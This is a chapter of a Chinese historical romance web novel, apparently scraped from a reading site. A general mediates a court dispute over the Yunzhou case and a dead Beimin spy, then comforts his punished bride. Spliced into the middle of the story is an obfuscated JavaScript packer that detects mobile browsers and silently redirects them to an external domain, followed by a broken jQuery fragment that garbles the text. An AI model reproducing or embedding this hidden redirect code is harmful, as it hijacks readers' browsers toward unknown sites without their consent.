默认冷灰
24号文字
方正启体

36. 北旻探子

作者:都阑本书字数:K更新时间:
    皇宫,太和殿。


    宁淮川听宣入宫,刚至议事的太和殿外,便听天子之怒,气涌如山,倾泻而来。


    “萧相公此言,是说朕罔顾人命,不配为君了?!”


    宁淮川脚下一滞,心头疑云渐渐明朗几分。原来圣上召他来,为的是他在云州所遇之事,看样子,是萧丞相未能劝动圣上,反触怒天听了。他一敛容,略带不安地进了殿。


    “微臣宁淮川,叩见圣上。”


    他规规矩矩地行过礼,才见高坐在上的皇帝脸色舒缓了几分,而阶下站着的萧相公、太子、英王与其他几位权臣皆是一副凝重神色。


    “爱卿平身,不必拘礼。”皇帝秦征抬抬手,言语虽和,语调却是自带三分威严,又道,“爱卿昨日大婚,本是不该这个时候叫你来,可事发突然,除了你,朕也实在没个合适人选,只好辛苦你跑这一遭了。”


    事发突然?难道除了云州之事,还有别的事?宁淮川听罢此言,神色一紧,忙道:“身为人臣,我等自该为圣上分忧,何来辛苦一说。敢问圣上,今日究竟所为何事?”


    秦征道:“昨日禁军抓到一人,疑为北旻探子,送往大理寺狱的途中,却被暗箭射杀。”


    “北旻?”宁淮川双眉一拧,顿觉心绪不宁。


    太子随后补充道:“是啊,宁将军守关多年,想必对北旻人甚是了解,这才唤你来辩一辩那人身份。”


    萧丞相却肃声道:“莫说此事未必是北旻作乱,即便是,北旻案是大案,云州案就不是大案了吗?怎有将云州案弃之不管的道理?”


    太子怒目斜视,道:“萧丞相,难道区区一个山匪劫财杀人案,比得上圣上安危?北旻探子已然入了京城,背后阴谋可想而知,萧相公又怎能只顾云州,不顾天子!”


    萧丞相冷哼一声,也不示弱:“太子殿下真是扣了好大一口黑锅,老臣何时说过云州之事胜过天子?只是比起北旻案,云州案掌握的证据更多,老臣以为应尽快去查,以免误了时机罢了......”


    “......”


    听到这里,宁淮川也将今日天子之怒猜了个七八分。想来,萧相公自知晓了云州之案,便想亲自去查此案,谁料昨日京城忽现疑似北旻的探子,圣上与太子便令萧相着重去办北旻之案,而将云州案放置一旁。而云州案本就与太子难逃干系,于是萧丞相震怒,公堂之上与太子起了争执,这才触怒天子,有了今日之事。


    可是怎么看,突然冒出的北旻探子,都像是太子的缓兵之计。


    双方争执不下,眼看圣上面色更沉,萧丞相此人为人耿直,自己认准的事更是要坚持到底,再争下去,恐怕他难逃苛责。


    宁淮川见状,只得上前一步,从中调和道:“微臣之见,无论是云州或是北旻,都是紧要之事,萧丞相虽忧心云州之祸,却也不必亲自操办此案,微臣听说,萧丞相有一得意门生,现任大理司直,是文武全才,若是派他前去云州,萧丞相在京城也可放心。”


    “既是萧相公的学生,必是雄才伟略,怎么只任个司直?”皇帝一听,神情略有松动,又向阶下众人道,“宁爱卿所言,你们以为如何?”


    “宁将军说的,莫不是李谦李司直?”一旁的户部尚书道。


    宁淮川:“正是。”


    还未等别人再开口,只见久不作声的英王忽然上前,道:“儿臣以为,宁将军所言有理,这位李谦司直,儿臣也略有耳闻,都说是个不可多得的人才,云州之案若是交给他,萧丞相便也可腾出手,安心操持京城事宜了。”


    “臣等附议。”


    殿上其余人等纷纷附和,赞同宁淮川的提议,只有太子还稍显不忿,横眉立目地朝他们打量一眼。


    他阴阴地道:“你们倒是一唱一和,罢了,云州之案你们想查便查。只是今日叫宁将军来,为的是北旻探子,可宁将军身为武将,未得应允却擅自议政,难道不觉得僭越么?”


    秦征本是偏疼太子,但见他此言偏颇,终是瞪了他一眼,道:“好了燮儿!今日是朕叫宁爱卿来,自不算他僭越,你身为太子,当体念人臣,何必要揪着一点小事不放。”


    太子敛容:“父皇教训得是。”


    “好了,云州一案,就依宁爱卿所言,交由李谦去办。至于北旻探子,还得宁爱卿亲自去探查一番。”


    宁淮川:“微臣领命。”


    众人退出殿外,太子率先离去,宁淮川也将要随着引路的公公前去北旻探子的停尸之所时,忽被萧丞相叫住。


    只见他满目忧虑:“宁将军有意提点我那学生,老朽自是感激,只不过,此案事关太子,我执意要亲自前去,也是怕太子势广,阻碍重重啊。李谦虽有才干,却不过从六品之位,此去云州,多半查不得什么......”


    宁淮川忽地哑然自笑,一副成竹在胸的模样,引着萧相往旁边无人处走了几步后,才附到他耳边。


    “萧相公不必担忧,李司直此行,必不会无功而返。实不相瞒,我在云州已暗查到一重要人犯,只要李司直顺着这条线查下去,定能真相大白。”


    闻言,萧丞相才仿佛一块石头落了地,朝他深深一揖。


    送走萧相,侯在一旁的英王缓步上前,来到他身边,道:“走吧,我陪你去看看那北旻探子。”


    “好。”


    --


    天色渐暗,宁淮川回府的途中不禁愁绪如麻,满脑子都是方才那个北旻探子。原本以为这不过是太子施的障眼法,为的只是拖住云州案罢了。


    谁料等他一见那人尸身,却惊觉,他见过他。


    那人曾是北旻军里的一个小先锋,当年守关时,宁淮川与他交过手,有过几面之缘。也就是说,摆在眼前的是一件比太子阻挠还要棘手的麻烦事--北旻的确有所图谋。


    先是云州,又是怀璧寺,眼下又来了个北旻,自打这遭回京,麻烦事一件接着一件,宁淮川不禁觉得有些头大,思绪深陷其中,直到一个小丫鬟递上一盏茶才发觉,自己已经不知不觉回了房。


    只是,此刻这屋里似乎太过安静,少了什么顶顶重要的东西。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15404097|166512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他一蹙眉:“夫人呢?”


    那丫鬟面色为难,支吾着不敢吭声。


    “说话。”


    他语调一冷,那丫鬟吓得手一哆嗦,差点将茶盏打翻。


    她怯生生地回:“夫人她,在祠堂。”


    宁淮川不免疑惑,按说这个时辰,她也该回来了才是,于是又问:“在祠堂做什么?”


    “夫人,在,罚跪。”


    “什么!”


    他不过离家半日,府里这是又出了什么事!宁淮川忽地气血翻涌,也顾不上去听她说什么来龙去脉,兀自起身便往祠堂去。


    一进祠堂,果然看见那个身形瘦弱的身影正规规矩矩地跪在供台前,身上红绿相间的礼服还未褪去,与祠堂里昏暗的烛火不大相融。


    宁淮川几步上前,半跪在她面前。


    “夫人,出什么事了?”


    只见眼前人一双水汪汪的风眼泛着微红,正不知所措地看着他。


    片刻,她才含着笑意道:“将军回来了,将军今日进宫,没遇到什么难事吧?”


    见她藏着掖着不肯说,宁淮川登时起了愠色:“少打岔!到底怎么回事?怎么好端端的还罚跪了?”


    赵宸玉抿了抿唇,赧然地低下头:“妾身今日鲁莽,弄掉了一个牌位,受罚也是应该。”


    她说着,鼻尖悄然一红,宁淮川抬头看看供台,又看看快要哭出来的她,不免心口一疼,张开双臂抱住她。


    他柔声在她耳边道:“因为这个被母亲罚了?母亲也真是的,夫人又不是故意为之,她怎么罚得这么重。”


    赵宸玉摇摇头:“不重的,今日之事,妾身不觉得冤枉。”


    宁淮川没来由地堵了一口闷气,嘟囔了一句“软包子”,然后便要将她从地上扶起。


    赵宸玉一骇,忙推开他,道:“还没跪够时辰呢。”


    “跪什么跪!给我起来!”


    宁淮川顿时气不打一处来,也不由她分说,强硬地拽住她手,准备将她拉起,却听她“啊”的一声,刚被他握住的双手倏地缩了起来,连额头也顷刻渗出一层密汗。


    “手怎么了?”宁淮川面色更沉,再度抓住她手腕,只见那双原本嫩白如酥的手,此刻竟是又红又肿,手掌的嫩肉还结了几块暗红的血痂。


    宁淮川当下明白了什么,胸口一时憋闷,喘起粗气。他冷着脸,却什么都没说,只是将地上之人拦腰抱起,怒气冲冲地往自己院子走。


    见他是真的生了气,赵宸玉只好环住他脖子,伏击他怀里小猫似的蹭蹭他。毕竟,她也只是想叫他多心疼心疼罢了,并没有要离间他们母子的想法。


    “将军,我没事的......”


    他没有应,直到带她回了房间,换了衣物,又给她两只手都擦上药,都没有说过一句话,只是阴着脸,不知在想什么。


    赵宸玉试着跟他搭话,故作轻松地说自己这伤不妨事,却只得到了他一个怒目睁睁的一个瞪眼。


    赵宸玉自讨没趣,只好干笑几声,由着他将自己放到榻上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)